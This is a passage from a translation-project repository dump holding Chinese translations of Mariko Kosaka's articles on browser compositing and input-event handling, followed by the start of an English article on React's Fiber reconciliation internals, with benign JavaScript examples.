15：合成处理示意动画\n\n合成是一种将页面的各个部分分层，分别光栅化，并在称为合成线程的单独线程中合成为页面的技术。如果发生滚动，由于图层已经光栅化，因此它所要做的只是合成一个新帧。动画也可以以相同的方式（移动图层和合成新帧）实现。\n\n你可以在 DevTools 使用 [Layers 面板](https://blog.logrocket.com/eliminate-content-repaints-with-the-new-layers-panel-in-chrome-e2c306d4d752?gi=cd6271834cea) 看看你的网站如何被分层。\n\n### 分层\n\n为了分清哪些元素位于哪些图层，主线程遍历布局树创建图层树（此部分在 DevTools 性能面板中称为“Update Layer Tree”）。如果页面的某些部分应该是单独图层（如滑入式侧面菜单）但没拆分出来，你可以使用 CSS 中的 `will-change` 属性来提示浏览器。\n\n![layer tree](https://developers.google.com/web/updates/images/inside-browser/part3/layer.png)\n\n图 16：主线程遍历布局树生成图层树\n\n你可能想要为每个元素都分层，但是合成大量的图层可能会比每帧都光栅化页面的刷新方式更慢，因此测量应用程序的渲染性能至关重要。有关这个主题的更多信息，请参阅 [Stick to Compositor-Only Properties and Manage Layer Count](https://developers.google.com/web/fundamentals/performance/rendering/stick-to-compositor-only-properties-and-manage-layer-count)。\n\n### 主线程的光栅化和合成\n\n一旦创建了图层树并确定了绘制顺序，主线程就会将该信息提交给合成线程。接着，合成线程会光栅化每个图层。一个图层可能会跟整个页面一样大，因此合成线程将它们分块后发送到光栅线程。光栅线程光栅化每个小块后会将它们存储在显存中。\n\n![raster](https://developers.google.com/web/updates/images/inside-browser/part3/raster.png)\n\n图 17：光栅线程创建分块的位图并发送到 GPU\n\n合成线程会给不同的光栅线程设置优先级，以便视窗（或附近）内的画面可以先被光栅化。图层还具有多个不同分辨率的块，可以处理放大操作等动作。\n\n一旦块被光栅化，合成线程会收集这些块的信息（称为**绘制四边形**）创建**合成帧**。\n\n绘制四边形\n\n包含诸如图块在内存中的位置，以及合成时绘制图块在页面中的位置等信息。\n\n合成帧\n\n一个绘制四边形的集合，代表一个页面的一帧。\n\n接着，合成帧通过 IPC（进程间通讯）提交给浏览器进程。此时，可以从 UI 线程或其他插件的渲染进程添加另一个合成帧。这些合成器帧被发送到 GPU 然后在屏幕上显示。如果接收到滚动事件，合成线程会创建另一个合成帧发送到 GPU。\n\n![composit](https://developers.google.com/web/updates/images/inside-browser/part3/composit.png)\n\n图 18：合成线程创建合成帧，将其发送到浏览器进程，再接着发送到 GPU\n\n合成的好处是它可以在不涉及主线程的情况下完成。合成线程不需要等待样式计算或 JavaScript 执行。这就是为什么[仅合成动画](https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/)被认为是流畅性能的最佳选择。如果需要再次计算布局或绘制，则必须涉及主线程。\n\n## 总结\n\n在这篇文章中，我们研究了渲染管道从解析到合成的整个过程，希望现在你能自主地去了解更多关于网站性能优化的信息。\n\n在本系列的下一篇也是最后一篇文章中，我们将更详细地介绍合成线程，看看当用户移动或点击鼠标时会发生什么。\n\n你喜欢这篇文章吗？如果你对之后的文章有任何问题或建议，我很乐意在下面的评论部分或推特 [@kosamari](https://twitter.com/kosamari) 与你联系。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/inside-browser-part4.md",
    "content": "> * 原文地址：[Inside look at modern web browser (part 4)](https://developers.google.com/web/updates/2018/09/inside-browser-part4)\n> * 原文作者：[Mariko Kosaka](https://developers.google.com/web/resources/contributors/kosamari)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part4.md)\n> * 译者：[ThomasWhyne](https://github.com/ThomasWhyne)\n> * 校对者：[llp0574](https://github.com/llp0574) [CoolRice](https://github.com/CoolRice)\n\n# 现代浏览器内部揭秘（第四部分）\n\n## 用户输入行为与合成器 \n\n内部揭秘系列博客对现代浏览器如何处理代码、显示页面展开探讨。该系列博客共四篇，这是最后一篇。在上篇博客里，我们了解了 [渲染进程与合成器](https://developers.google.com/web/updates/2018/09/inside-browser-part3)。这里我们将一窥当用户输入行为发生时，合成器如何继续保障交互流畅。\n\n## 浏览器视角下的输入事件\n\n听到“输入事件”这个字眼，你脑海里闪现的恐怕只是输入文本或点击鼠标。但在浏览器眼中，输入意味着一切用户行为。不单滚动鼠标滑轮是输入事件，触摸屏幕、滑动鼠标同样也是用户输入事件。\n\n诸如触摸屏幕之类用户手势产生时，浏览器进程会率先将其捕获。然而浏览器进程所掌握的信息仅限于行为发生的区域，因为标签页里的内容都由渲染进程负责处理，所以浏览器进程会将事件类型（如 `touchstart`）及其坐标发送给渲染进程。渲染进程会寻至事件目标，运行其事件监听器，妥善地处理事件。\n\n![input event](https://developers.google.com/web/updates/images/inside-browser/part4/input.png)\n\n图 1：输入事件由浏览器进程发往渲染进程\n\n## 合成器接收输入事件\n\n![composit.gif](https://i.loli.net/2018/10/08/5bbaaa3d26b97.gif)\n\n图 2：悬于页面图层的视图窗口\n\n在上篇文章里，我们探讨了合成器如何通过合成栅格化图层，实现流畅的页面滚动。如果页面上没有添加任何事件监听，合成器线程会创建独立于主线程的新合成帧。但要是页面上添加了事件监听呢？合成器线程又是如何得知事件是否需要处理的？\n\n## 理解非立即可滚动区\n\n因为运行 JavaScript 脚本是主线程的工作，所以页面合成后，合成线程会将页面里添加了事件监听的区域标记为“非立即可滚动区”。有了这个信息，如果输入事件发生在这一区域，合成线程可以确定应将其发往主线程处理。如输入事件发生在这一区域之外，合成线程则确定无需等待主线程，而继续合成新帧。\n\n![limited non fast scrollable region](https://developers.google.com/web/updates/images/inside-browser/part4/nfsr1.png)\n\n图 3：非立即可滚动区输入描述示意图\n\n### 设置事件处理器时须注意\n\nweb 开发中常用的事件处理模式是事件代理。因为事件会冒泡，所以你可以在最顶层的元素中添加一个事件处理器，用来代理事件目标产生的任务。下面这样的代码，你可能见过，或许也写过。\n\n```\ndocument.body.addEventListener('touchstart',  event => {\n    if (event.target === area) {\n        event.preventDefault();\n    }\n});\n```\n\n这样只需添加一个事件处理器，即可监听所有元素，的确十分省事。然而，如果站在浏览器的角度去考量，这等于把整个页面都标记成了“非立即可滚动区”，意味着即便你设计的应用本不必理会页面上一些区域的输入行为，合成线程也必须在每次输入事件产生后与主线程通信并等待返回。如此则得不偿失，使原本能保障页面滚动流畅的合成器没了用武之地。\n\n![full page non fast scrollable region](https://developers.google.com/web/updates/images/inside-browser/part4/nfsr2.png)\n\n图 4：非立即可滚动区覆盖整个页面下的输入描述示意图\n\n你可以给事件监听添加一个 [`passive:true`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#Improving_scrolling_performance_with_passive_listeners) 选项 ，将这种负面效果最小化。这会提示浏览器你想继续在主线程中监听事件，但合成器不必停滞等候，可接着创建新的合成帧。\n\n```\ndocument.body.addEventListener('touchstart', event => {\n    if (event.target === area) {\n        event.preventDefault()\n    }\n }, {passive: true});\n```\n\n## 检查事件是否可撤销\n\n![page scroll](https://developers.google.com/web/updates/images/inside-browser/part4/scroll.png)\n\n图 5：部分区域仅可水平方向滚动的网页\n\n设想一下这种情形：页面上有一个盒子，你要将其滚动方向限制为水平滚动。\n\n为目标事件设置 `passive:true` 选项可让页面滚动平滑，但在你使用 `preventDefault` 以限制滚动方向时，垂直方向滚动可能已经触发。使用 `event.cancelable` 方法可以检查并阻止这种情况发生。\n\n```\ndocument.body.addEventListener('pointermove', event => {\n    if (event.cancelable) {\n        event.preventDefault(); // 阻止默认的滚动行为\n        /*\n        *  这里设置程序执行任务\n        */\n    } \n}, {passive:: true});\n```\n\n或者，你也可以应用 `touch-action` 这类 CSS 规则，完全地将事件处理器屏蔽掉。\n\n```\n#area { \n  touch-action: pan-x; \n}\n```\n\n## 定位事件目标\n\n![hit test](https://developers.google.com/web/updates/images/inside-browser/part4/hittest.png)\n\n图 6：主线程检查绘制记录查询坐标 x、y 处绘制内容\n\n合成器将输入事件发送至主线程后，首先运行的是命中检测。命中检测会使用渲染进程中产生的绘制记录数据，找出事件发生坐标下的内容。\n\n## 降低往主线程发送事件的频率  \n\n之前的文章里，我们探讨了常见显示屏如何以每秒 60 帧的频率刷新，以及我们要怎样与其刷新频率保持步调一致，以营造出流畅的动画效果。而对于用户的输入行为，常见触摸屏设备的事件传输频率为每秒 60~120 次，常见鼠标设备的事件传输频率为每秒 100 次。可见，输入事件有着比显示屏幕更高的保真度。\n\n如果一连串 `touchmove` 这样的事件以每秒 120 次的频率发送往主线程，那么可能会触发过量的命中检测及 JavaScript 脚本执行。相形而言，我们的屏幕刷新率则更为低下。\n\n![unfiltered events](https://developers.google.com/web/updates/images/inside-browser/part4/rawevents.png)\n\n图 7：大量事件涌入合成帧时间轴会造成页面闪烁\n\n为了降低往主线程中传递过量调用，Chrome 会合并这些连续事件（如：`wheel`, `mousewheel`, `mousemove`, `pointermove`, `touchmove` 等），并将其延迟至下一次 `requestAnimationFrame` 前发送。 \n\n![coalesced events](https://developers.google.com/web/updates/images/inside-browser/part4/coalescedevents.png)\n\n图 8：相同的时间轴下事件被合并且延迟发送\n\n所有独立的事件，如: `keydown`, `keyup`, `mouseup`, `mousedown`, `touchstart`, 及  `touchend` 则会立即发往主线程。\n\n## 使用 `getCoalescedEvents` 获取帧内事件\n\n事件合并可帮助大多数 web 应用构建良好的用户体验。然而，如果你开发的是一个绘图类应用，需要基于 `touchmove` 事件的坐标绘制线路，那么在你试图画下一根光滑的线条时，区间内的一些坐标点也可能会因事件合并而丢失。这时，你可以使用目标事件的  `getCoalescedEvents` 方法获取事件合并后的信息。\n\n![getCoalescedEvents](https://developers.google.com/web/updates/images/inside-browser/part4/getCoalescedEvents.png)\n\n图 9：左为流畅的触摸手势路径、右为事件合并后的有限路径\n\n```\nwindow.addEventListener('pointermove', event => {\n    const events = event.getCoalescedEvents();\n    for (let event of events) {\n        const x = event.pageX;\n        const y = event.pageY;\n        // 使用 x、y 坐标画线\n    }\n});\n```\n\n## 后续步骤\n\n本系列文章里，我们探讨了很多关于 web 浏览器内部的工作原理。如果之前你从来没想过：为什么 Devtools 推荐在事件处理器上添加 `{passive:true}` 选项、为什么有时须在 script 标签里添加 `async` 属性？那么我希望这一系列文章能帮助你了解，为什么传递这些信息给浏览器能让其提供更为迅捷流畅的 web 体验。\n\n### 使用 Lighthouse  \n\n如果你想构建出对浏览器更为友好的代码，却一直毫无头绪，那么不妨先从使用 [Lighthouse](https://developers.google.com/web/tools/lighthouse/) 开始。Lighthouse 是个可以帮助你审查网站工具，并且能提供页面性能报告。性能报告会告诉你什么地方处理得当，什么地方有待提升。浏览审查列表也能让你了解浏览器着力关注的重点所在。\n\n### 学习如何评测性能\n\n对于不同的站点，桎梏其性能之处可能不尽相同，所以专门为你自己的站点定制化一套性能评测方案，并择优选取技术应用，是重中之重。Chrome 的 Devtools 团队就 [如何测试你的站点性能](https://developers.google.com/web/tools/chrome-devtools/speed/get-started) 撰有相关教程可供参阅。\n\n### 为你的站点添加 Feature Policy\n\n如果你想进一步采用更多方案，[Feature Policy](https://developers.google.com/web/updates/2018/06/feature-policy) 是一个新的 web 平台，可在开发时为你保驾护航。开启 feature policy 可以限制应用行为，并使你远离诸多技术弊端。举个例子，如果你想确保应用不会阻塞解析，那么可以采用同步脚本方案运行应用。开启 `sync-script:'none'` 后，导致解析阻塞的 JavaScript 脚本会被阻止运行。这就确保了你的代码不会阻塞解析，浏览器也无须考虑暂停运行解析器。\n\n## 总结\n\n![thank you](https://developers.google.com/web/updates/images/inside-browser/part4/thanks.png)\n\n刚踏上开发之路时，我几乎只关注怎样去写代码、怎样提升自己的生产效率。诚然，这些事情很重要，但与此同时我们也应当思考浏览器会怎么去处理我们书写的代码。现代浏览器一直致力探索如何提供更好的用户体验。书写对浏览器友好的代码，反过来也能提供友好的用户体验。路漫漫其修远兮，希望我们能携手共进，构建出对浏览器更为友好的代码。\n\n在此笔者诚挚感谢 [Alex Russell](https://twitter.com/slightlylate)、[Paul Irish](https://twitter.com/paul_irish)、[Meggin Kearney](https://twitter.com/MegginKearney)、[Eric Bidelman](https://twitter.com/ebidel)、[Mathias Bynenes](https://twitter.com/mathias)、[Addy Osmani](https://twitter.com/addyosmani)、[Kinuko Yasuda](https://twitter.com/kinu)、[Nasko Oskov](https://twitter.com/nasko) 和 Charlie Reis 等人对本系列文章初稿的校对。\n\n你喜欢这一系列的文章吗？对之后文章如有任何意见或建议，欢迎在下面评论区或是推特 [@kosamari](https://twitter.com/kosamari) 里留下您的宝贵意见。 \n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react.md",
    "content": "> * 原文地址：[Inside Fiber: in-depth overview of the new reconciliation algorithm in React](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e)\n> * 原文作者：[Max Koretskyi, aka Wizard](https://medium.com/@maxim.koretskyi?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react.md)\n> * 译者：\n> * 校对者：\n\n# Inside Fiber: in-depth overview of the new reconciliation  algorithm in React\n\n## The how and why on everything from React elements to Fiber nodes\n\n![](https://cdn-images-1.medium.com/max/800/1*8Xi7apFuZ2M5Fw3CirwyDw.png)\n\n* * *\n\nReact is a JavaScript library for building user interfaces. At its core lies [the mechanism](https://medium.freecodecamp.org/what-every-front-end-developer-should-know-about-change-detection-in-angular-and-react-508f83f58c6a) that tracks changes in a component state and projects the updated state to the screen. In React we know this process as reconciliation. We call the `setState` method and the framework checks if the state or props have changed and re-renders a component on UI.\n\nReact’s docs provide [a good high-level overview](https://reactjs.org/docs/reconciliation.html) of the mechanism: the role of React elements, lifecycle methods and the `render` method, and the diffing algorithm applied to a component’s children. The tree of immutable React elements returned from the `render` method is commonly known as “virtual DOM”. That term helped explain React to people early on, but it also caused confusion and isn’t used in the React documentation anymore. In this article I’ll stick to calling it a tree of React elements.\n\nBesides the tree of React elements, the framework have always had a tree of internal instances (components, DOM nodes etc.) used to keep the state. Starting from version 16, React rolled out a new implementation of that internal instances tree and the algorithm that manages it code-named Fiber. To learn about the advantages which fiber architecture brings check out [The how and why on React’s usage of linked list in Fiber](https://medium.com/dailyjs/the-how-and-why-on-reacts-usage-of-linked-list-in-fiber-67f1014d0eb7).\n\n> This article would take me a lot longer to write and would be less comprehensive without the help of [Dan Abramov](https://medium.com/@dan_abramov)! _👍_\n\nThis is the first article in the series aimed to teach you internal architecture of React. In this article I want to provide in-depth overview of important concepts and data structures relevant to the algorithm. Once we have enough background, we’ll explore the algorithm and main functions used to traverse and process the fiber tree. Next articles in the series will demonstrate how React uses the algorithm to perform first render and process state and props updates. From there we’ll move to the details of scheduler, children reconciliation process and the mechanism of building an effects list.\n\n[**Follow me to stay tuned!**](https://twitter.com/maxim_koretskyi)\n\nI’m going to give you pretty advanced knowledge here 🧙‍. I encourage you to read it to understand the magic behind the inner workings of concurrent React. This series of articles will also serve you as a great guide if you plan to start contributing to React. I’m [a hard believer of reverse-engineering](https://blog.angularindepth.com/level-up-your-reverse-engineering-skills-8f910ae10630), so there will be a lot of links to the sources from the recent version 16.6.0.\n\nThere’s definitely quite a lot to take in, so don’t feel stressed if you can’t understand something right away. It takes time as everything worthwhile. **Note that you don’t need to know any of it to use React. This article is about how React works internally.**\n\n> I work as a developer advocate at [ag-Grid](https://react-grid.ag-grid.com/?utm_source=medium&utm_medium=blog&utm_campaign=reactcustom). If you’re curios to learn about data grids or looking for the ultimate react data grid solution, get in touch or give it a try with the guide “[Get started with React grid in 5 minutes](https://medium.com/ag-grid/get-started-with-react-grid-in-5-minutes-f6e5fb16afa)”. I’m happy to answer any questions you may have.\n\n* * *\n\n### Setting the background\n\nHere’s a simple application that I’ll use throughout the series. We have a button that simply increments a number rendered on the screen:\n\n![](https://cdn-images-1.medium.com/max/800/1*jTWOx6Yr6JyBV5ETnp4TRQ.gif)\n\nAnd here’s the implementation:\n\n```\nclass ClickCounter extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = {count: 0};\n        this.handleClick = this.handleClick.bind(this);\n    }\n\n    handleClick() {\n        this.setState((state) => {\n            return {count: state.count + 1};\n        });\n    }\n\n\n    render() {\n        return [\n            <button key=\"1\" onClick={this.handleClick}>Update counter</button>,\n            <span key=\"2\">{this.state.count}</span>\n        ]\n    }\n}\n```\n\nYou can play with it [here](https://stackblitz.com/edit/react-t4rdmh). As you can see, it’s a simple component that returns two child elements `**button**`  and `**span**`  from the `**render**`  method. As soon as you click on the button, the state of the component is updated inside the handler. This, in turn, results in the text update for the `**span**`  element.\n\nThere are various activities React performs during reconciliation. For example, here are the high-level operations React performs during the first render and after state update in our simple application:\n\n*   updates `**count**`  property in the `**state**`  of `**ClickCounter**`\n*   retrieves & compares children of `**ClickCounter**`  and their props\n*   updates props for the `**span**`  element\n*   updates `**textContent**`  property of the `**span**`  element.\n\nThere are other activities performed during reconciliation like calling [lifecycle methods](https://reactjs.org/docs/react-component.html#updating) or updating [refs](https://reactjs.org/docs/refs-and-the-dom.html). **All these activities are collectively referred to as “work” in Fiber architecture.** The type of work usually depends on the type of a React element. For a class component, for example, React needs to create an instance, while it doesn’t do that for a functional component. As you know, we have many kinds of elements in React, e.g. class and functional components, host components (DOM nodes), portals etc. The type of a React element is defined by the first parameter to the [createElement](https://github.com/facebook/react/blob/b87aabdfe1b7461e7331abb3601d9e6bb27544bc/packages/react/src/ReactElement.js#L171) function. This function is generally used in the `**render**`  method to create an element.\n\nBefore we begin our exploration of the activities and the main fiber algorithm, let’s first get ourselves familiar with data structures used internally by React.\n\n### From React Elements to Fiber nodes\n\nEvery component in React has a UI representation we can call a view or a template that’s returned from the `**render**`  method. Here’s the template for our `**ClickCounter**`  component:\n\n```\n<button key=\"1\" onClick={this.onClick}>Update counter</button>\n<span key=\"2\">{this.state.count}</span>\n```\n\n#### React Elements\n\nOnce a template goes through JSX compiler, you end up with a bunch of React elements. This is what’s really returned from the `**render**`  method of React components, not HTML. Since we’re not required to use JSX compiler, the `**render**`  method for our `**ClickCounter**`  component could be re-written like this:\n\n```\nclass ClickCounter {\n    ...\n    render() {\n        return [\n            React.createElement(\n                'button',\n                {\n                    key: '1',\n                    onClick: this.onClick\n                },\n                'Update counter'\n            ),\n            React.createElement(\n                'span',\n                {\n                    key: '2'\n                },\n                this.state.count\n            )\n        ]\n    }\n}\n```\n\nThe calls to `**React.createElement**` in the `**render**`  method will create two data structures like this:\n\n```\n[\n    {\n        $$typeof: Symbol(react.element),\n        type: 'button',\n        key: \"1\",\n        props: {\n            children: 'Update counter',\n            onClick: () => { ... }\n        }\n    },\n    {\n        $$typeof: Symbol(react.element),\n        type: 'span',\n        key: \"2\",\n        props: {\n            children: 0\n        }\n    }\n]\n```\n\nYou can see that React adds the property `**$$typeof**`  to these objects to uniquely identify them as React elements. Then we have properties `**type**`, `**key**`  and `**props**`  that describe the element. The values are taken from what you pass to the `**React.createElement**` function. Notice how React represents text content as children of a `**span**`  and `**button**`  nodes. And how the click handler is part of the `**button**`  element props. There are other fields on React elements like the `**ref**`  field that are beyond the scope of this article.\n\nThe React element for `**ClickCounter**` doesn’t have any props or a key:\n\n```\n{\n    $$typeof: Symbol(react.element),\n    key: null,\n    props: {},\n    ref: null,\n    type: ClickCounter\n}\n```\n\n#### Fiber nodes\n\nDuring reconciliation data from every React element returned from the `**render**` method is merged into the tree of fiber nodes. Every React element has a corresponding fiber node. Unlike React elements, fibers aren’t re-created on every render. These are mutable data structures that hold components state and DOM.\n\nWe discussed earlier that depending on the type of a React element the framework needs to perform different activities. In our sample application, for the class components `**ClickCounter**` it calls lifecycle methods and the `render` method, whereas for the `**span**` host component (DOM node) it performs DOM mutation. So each React element is converted into a fiber node of [corresponding type](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/shared/ReactWorkTags.js) that describes the work that needs to be done.\n\n**You can think of a fiber as a data structure that represents some work to do or, in other words, a unit of work. Fiber’s architecture also provides a convenient way to track, schedule, pause and abort the work.**\n\nWhen React element is converted into a fiber node for the first time, React uses the data from the element to create a fiber in the [createFiberFromTypeAndProps](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-reconciler/src/ReactFiber.js#L414) function. In the consequent updates React reuses the fiber node and just updates the necessary properties using data from a corresponding React element. React may also need to move the node in the hierarchy based on the `key` prop or deletes it if the corresponding React element is no longer returned from the `render` method.\n\n> Check out the [**ChildReconciler**](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactChildFiber.js#L239) function to see the list of all activities and corresponding functions React performs for existing fiber nodes.\n\nBecause React creates a fiber for each React element and since we have a tree of those elements, we’re going to have a tree of fiber nodes. In the case of our sample application it looks like this:\n\n![](https://cdn-images-1.medium.com/max/800/1*cLqBZRht7RgR9enHet_0fQ.png)\n\nAll fiber nodes are connected through a linked list using the following properties on fiber nodes: `**child**`, `**sibling**` and `**return**`. For more details on why it works this way, check out my article [The how and why on React’s usage of linked list in Fiber](https://medium.com/p/67f1014d0eb7/edit) if you haven’t read it already.\n\n#### Current and work in progress trees\n\nAfter the first render, React ends up with a fiber tree that reflects the state of the application that was used to render the UI. This tree is often referred to as **current**. When React starts working on updates it builds a so-called **workInProgress** tree that reflects the future state to be flushed to the screen.\n\nAll work is performed on fibers from the `**workInProgress**`  tree. As React goes through the `**current**`  tree, for each existing fiber node it creates an alternate node that constitutes the `**workInProgress**`  tree. This node is created using the data from React elements returned by the `**render**`  method. Once the updates are processed and all related work is completed, React will have an alternate tree ready to be flushed to the screen. Once this `**workInProgress**`  tree is rendered on the screen, it becomes the `**current**`  tree.\n\nOne of React’s core principles is consistency. React always updates the DOM in one go — it doesn’t show partial results. The `**workInProgress**` tree serves as a “draft” that’s not visible to the user, so that React can process all components first, and then flush their changes to the screen.\n\nIn the sources you’ll see a lot of functions that take fiber nodes from both the `**current**`  and `**workInProgress**`  trees. Here’s the signature of one of such functions:\n\n```\nfunction updateHostComponent(current, workInProgress, renderExpirationTime) {...}\n```\n\nEach fiber node holds a reference to its counterpart from the other tree in the **alternate** field. A node from the `**current**`  tree points to the node from the `**workInProgress**`  tree and vice versa.\n\n#### Side-effects\n\nWe can think of a component in React as a function that uses the state and props to compute the UI representation. Every other activity like mutating the DOM or calling lifecycle methods should be considered a side-effect or, simply, an effect. There’s also mentioning of effects [in the docs](https://reactjs.org/docs/hooks-overview.html#%EF%B8%8F-effect-hook):\n\n> You’ve likely performed data fetching, subscriptions, or manually **changing the DOM** from React components before. We call these operations “side effects” (or “effects” for short) because they can affect other components and can’t be done during rendering.\n\nYou can see how most state and props updates will lead to side-effects. And since applying effects is a type of work, a fiber node is a convenient mechanism to track effects in addition to updates. Each fiber node can have effects associated with it. They are encoded in the `**effectTag**` field.\n\nSo effects in Fiber basically define the [work](https://github.com/facebook/react/blob/b87aabdfe1b7461e7331abb3601d9e6bb27544bc/packages/shared/ReactSideEffectTags.js) that needs to be done for instances after updates have been processed. For host components (DOM elements) the work consists of adding, updating or removing elements. For class components React may need to update refs and call `componentDidMount` and `componentDidUpdate` lifecycle methods. There are also other effects corresponding to other types of fibers.\n\n#### Effects list\n\nReact processes updates very quickly and to achieve that level of performance it employs a few interesting techniques. **One of them is building a linear list of fiber nodes with effects for quick iteration.** Iterating the linear list is much faster than a tree, and there’s no need to spend time on nodes without side-effects.\n\nThe goal of this list is to mark nodes that have DOM updates or other effects associated with them. This list is a subset of the `**finishedWork**` tree and is linked using the `**nextEffect**` property instead of the `**child**` property used in the `**current**` and `**workInProgress**` trees.\n\n[Dan Abramov](https://medium.com/@dan_abramov) offered an analogy for an effects list. He likes to think of it as a Christmas tree, with “Christmas lights” binding all effectful nodes together. To visualize this, let’s image the following tree of fiber nodes where the highlighted nodes have some work to do. For example, our update caused `**c2**` to be inserted into the DOM, `**d2**` and `**c1**` to change attributes, and `**b2**` to fire a lifecycle method. The effect list will link them together so React can skip other nodes later:\n\n![](https://cdn-images-1.medium.com/max/800/1*Q0pCNcK1FfCttek32X_l7A.png)\n\nYou can see how the nodes with effects are linked together. When going over the nodes, React uses the `**firstEffect**` pointer to figure out where the list starts. So the diagram above can be represented as a linear list like this:\n\n![](https://cdn-images-1.medium.com/max/800/1*mbeZ1EsfMsLUk-9hOYyozw.png)\n\nAs you can see, React applies effects in the order from children and up to parents.\n\n#### Root of the fiber tree\n\nEvery React application has one or multiple DOM elements that act as containers. In our case it’s the `**div**` element with the ID `**container**`. React creates a [fiber root](https://github.com/facebook/react/blob/0dc0ddc1ef5f90fe48b58f1a1ba753757961fc74/packages/react-reconciler/src/ReactFiberRoot.js#L31) object for each of those containers. You can access it using the reference to the DOM element:\n\n```\nconst fiberRoot = query('#container')._reactRootContainer._internalRoot\n```\n\nThis fiber root is where React holds the reference to a fiber tree. It is stored in the `**current**` property of the fiber root:\n\n```\nconst hostRootFiberNode = fiberRoot.current\n```\n\nThe fiber tree starts with [the special type](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/shared/ReactWorkTags.js#L34) of a fiber node which is `**HostRoot**`. It’s created internally and acts as a parent for your topmost component. There’s a back link from the `**HostRoot**` fiber node to the `**FiberRoot**` through the `**stateNode**` property:\n\n```\nfiberRoot.current.stateNode === fiberRoot; // true\n```\n\nYou can explore the fiber tree by accessing the topmost `**HostRoot**` fiber node through the fiber root. Or you can get an individual fiber node from a component instance like this:\n\n```\ncompInstance._reactInternalFiber\n```\n\n#### Fiber node structure\n\nLet’s now take a look at the structure of fiber nodes created for the `**ClickCounter**` component\n\n```\n{\n    stateNode: new ClickCounter,\n    type: ClickCounter,\n    alternate: null,\n    key: null,\n    updateQueue: null,\n    memoizedState: {count: 0},\n    pendingProps: {},\n    memoizedProps: {},\n    tag: 1,\n    effectTag: 0,\n    nextEffect: null\n}\n```\n\nand the `**span**` DOM element:\n\n```\n{\n    stateNode: new HTMLSpanElement,\n    type: \"span\",\n    alternate: null,\n    key: \"2\",\n    updateQueue: null,\n    memoizedState: null,\n    pendingProps: {children: 0},\n    memoizedProps: {children: 0},\n    tag: 5,\n    effectTag: 0,\n    nextEffect: null\n}\n```\n\nThere’s quite a lot of fields on fiber nodes. I’ve described the purpose of the fields `**alternate**`, `**effectTag**`  and `**nextEffect**` in previous sections.  Let’s now see why we need others.\n\n**stateNode**  \nHolds the reference to the class instance of a component, a DOM node or other React element type associated with the fiber node. In general, we can say that this property is used to hold the local state associated with a fiber.\n\n**type**  \nDefines the function or class associated with this fiber. For class components, it points to the constructor function and for DOM elements it specifies the HTML tag. I use this field quite often to understand what element a fiber node is related to.\n\n**tag  \n**Defines [the type of a fiber node](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/shared/ReactWorkTags.js). It’s used in the reconciliation algorithm to determine what work needs to be done. As mentioned earlier, the work varies depending on the type of a React element. The function [createFiberFromTypeAndProps](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-reconciler/src/ReactFiber.js#L414) maps a React element to corresponding fiber node type. In our application, the property `**tag**` for the `**ClickCounter**` component is `**1**` which denotes a `**ClassComponent**` and for the `**span**` element it’s `**5**` denoting a `**HostComponent**`.\n\n**updateQueue  \n**A queue of state updates, callbacks and DOM updates.\n\n**memoizedState**  \nState of the fiber that was used to create the output. When 